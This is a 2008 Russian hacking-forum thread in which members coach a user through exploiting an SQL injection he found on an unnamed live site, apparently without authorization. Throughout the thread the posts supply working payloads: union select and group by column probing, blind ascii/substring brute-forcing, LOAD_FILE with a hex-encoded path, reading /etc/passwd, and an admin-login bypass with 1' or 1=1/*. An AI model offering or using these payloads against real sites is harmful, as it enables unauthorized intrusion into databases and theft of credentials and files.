различные результат на *group+by* и *union+select*

Discussion in 'Уязвимости' started by mr.celt, 28 Jul 2008.

Thread Status:
Not open for further replies.
  1. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Вот блин штука какая. На одном из сайтов нашел стандартную sql-инъекцию.
    Запрос типа site.com/?nr=1' выдает ошибку "mysql_fetch_array()....". Скуль на лицо, с помощью запроса site.com/?nr=1+group+by+5/* появляется ошибка, стало быть кол-во столбцов 4 (при site.com/?nr=1+group+by+4/* - ошибки нет), значит должен быть верен запрос типа site.com/?nr=1+union+select+1,2,3,4/* ну или хотя бы site.com/?nr=1+union+select+null,null,null,null/*.
    Как не вертел, данные запросы вес равно выдают ошибку(
    При использовании order+by так же нет ошибок.
    В чем может быть проблема. Я предполагаю, что скрипт фильтрует в запросе второй select и так реагирует.
     
  2. Shao Kan

    Shao Kan Banned

    Joined:
    27 Jul 2008
    Messages:
    8
    Likes Received:
    8
    Reputations:
    -10
    юзай sql injection tool 4
     
  3. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    1. Ты подставляешь юнион к существующему значению, а надо к несуществующему (...1+and+1=2+union+...).
    2. Возможно там несколько запросов (в таком случае посимвольный брут).
    3. Версия мускула = 3 (+and+substring(version(),1,1)=3 - это что бы проверить) и следовательно подзапросы не поддерживаются.

    Читай статью:
    https://forum.antichat.ru/threadnav43966-1-10.html
     
  4. spider-intruder

    spider-intruder Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    700
    Likes Received:
    339
    Reputations:
    37
    м.б. там просто 3 версия секеля и нет юниона ;-)?
     
  5. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Если четвёртая версия это ещё не означает поддержку подзапросов.Вот какая точная версия,с которой начинается поддержка подзапросов - не помню...).Про третью вообще молчу))
     
  6. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Подзапросы поддерживаются MySQL >4.1
    Правда, тут о них речи не было, UNION не является частью подзапроса.
    Подзапрос имеется, скажем, в этом примере:
    Code:
    SELECT 1,2,(SELECT `passwd` FROM `users` limit 0,1) from mysql.user;
    или
    Code:
    SELECT `password` FROM `users` WHERE `id` = (SELECT `user_id` FROM `comments` limit 155,1);
     
    #6 n1†R0x, 28 Jul 2008
    Last edited: 28 Jul 2008
  7. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25

    Хыхы))А мне всегда почему-то казалось, что подзапрос -

    это выражения вида 1+and+substring(version(),1,1)=5;

    или 1+and+1=5+union+select; Выполнится второй

    запрос,а первый улетает.Так эт чо - один большой запрос или всё же два?)).

    Уф...
     
  8. Bonnie and Clyde

    Bonnie and Clyde New Member

    Joined:
    26 Jul 2008
    Messages:
    7
    Likes Received:
    4
    Reputations:
    2
    попробуй site.com/?nr=-9999+union+select+1,2,3,4/* несуществующее значание
     
  9. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Это не подзапрос, а использование логического опретора and.

    В запросе получается что то вроде этого:

    select title from page where page_id=[sql inj]
    Смысл запроса вывести заголовок указанной страницы.

    Сюда ты и подставляешь данные:

    select title from page where page_id=1 and substring(version(),1,1)=5
    Смысл вывести заголовок указанной страницы и первый символ версии БД должен быть равен 5.
    Т.е. запрос выполнится успешно если верси БД равна 5.

    substring() и version() это функции.
    В данном примере ты используешь логический опрератор and и две функции, а подзапросы не используешь.

    Ограничиваясь такими логическими посимвольными учтонениями запроса, используя только функции и не используя подзапросы максимум что ты можешь сделать это вывести содержимое файла (и то если пользователь БД обладает соотвествующими правами) - подробнее тут => Работа с MySQL третьей версии...

    union - это опретор объединяющий два запроса:

    select title from page where page_id=1 and substring(version(),1,1)=5 union select 1
    В данном случае если версия БД не равна 5, то выведется еденица.

    Подробнее тут => SQL injection полный FAQ

    Подзапросы используются для работы со слепыми инъекциями:

    select title from page where page_id=1 and (select 1 from user limit 0,1)=1

    Подробнее про слепые инъекции тут => SQL инъекция FAQ (в т.ч. и blind SQL)

    P.S. а вообще очень советую купить справочник/учебник по синтаксису sql.
     
    #9 Grey, 28 Jul 2008
    Last edited: 28 Jul 2008
    2 people like this.
  10. o314um

    o314um Member

    Joined:
    16 Nov 2006
    Messages:
    227
    Likes Received:
    90
    Reputations:
    7
    мне кажется, что учше нам увидеть эту ссылку)
     
  11. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    попробовал, также не подходит)
    Но немного пораздумав и почитав, что Grey написал, попробовал логические запросы с and.

    Как и ожидалось версия оказалась 3.х и соответственно union не поддерживаются :mad: С помощью перлового скрипта перебрал user(), version(), database().
    Запрос, типа site.com/?nr=1+and+ascii(substring((select+password+from+mysql.user),1,1))>1/*
    тоже не проканал, то ли это расценено как подзапрос, то ли доступа к mysql.user закрыт.

    Статья Grey о том как сливать файлы в 3-й версии, если есть доступ, наталкнула на такой запрос
    http://site.com/?nr=1&n=1+and+ascii(substring((LOAD_FILE(0x2f7777772f777777382f757a2f64656661756c742e68746d)),100,1))>1/*

    При его подачи ошибок нет, но и добиться, чтобы условие выполнилось, тоже не смог (захексин путь до файла, который выводится при ошибочной квери)
     
  12. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Это и есть подзапрос.

    Скорее всего результат функции = null.

    Тут два варианта:

    1. Пользователь БД не имеет прав на чтение/запись файлов.
    2. Нельзя прочитать файл находящийся в /www (права на файлы поставленные жестко).

    Проверь можешь ли ты прочитать файл /etc/passwd - если ты и его не сможешь прочитать, то у пользователя БД явно нету соотвествующих привилегий - тут уж ничего не поделаешь.

    Вот что ещё может помочь тебе во взломе с помощью sql инъекций:

    Т.к. ты уже нашел на сайте уязвимый скрипт, то вполне возможно что есть и другие скрипты подверженные sql инъекциям, а именно:

    1. SQL инъекция при авторизации в админке, т.е. вместо логина и пароля прописывай:
    1' or 1=1/*
    Но при этом кавычки не должны фильтроваться.

    2. Попробуй найти скрипт который работает с таблицей пользователей (выводит список пользователей или к примеру их email'ы) и в нём найти sql инъекцию и в таком случае ты можешь обойтись без подзапросов, а просто логичискими уточнениями:
    php?id=1+and+ascii(substring(username,1,1))>1

    Врятли можно найти другие способы, но по крайней мере у тебя есть раскрытый пусть, может если найдешь инклуд или читалку, то может он поможет.
     
    #12 Grey, 29 Jul 2008
    Last edited: 29 Jul 2008
    1 person likes this.
  13. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    что и требовалось доказать, прав чтения не оказалось, так как опять вернулся нулевой результат. Спасибо, Grey, за интересные идеи, буду в другом направлении копать.
     
  14. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    99% Думаю надо юзать конструкцию типо.

    1'+and+1=
    1')+and+1=
     
  15. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Ты его пост читал? он ведь уже написал что смог определить что версия БД = 3.

    Вот процитирую:

    Code:
    Как и ожидалось версия оказалась 3.х и соответственно union не поддерживаются  С помощью перлового скрипта перебрал user(), version(), database().
    Если он смог вывести польностью user(), version(), database(), то значит дело точно не в закрытие кавычки или скобки.
     
Loading...
Thread Status:
Not open for further replies.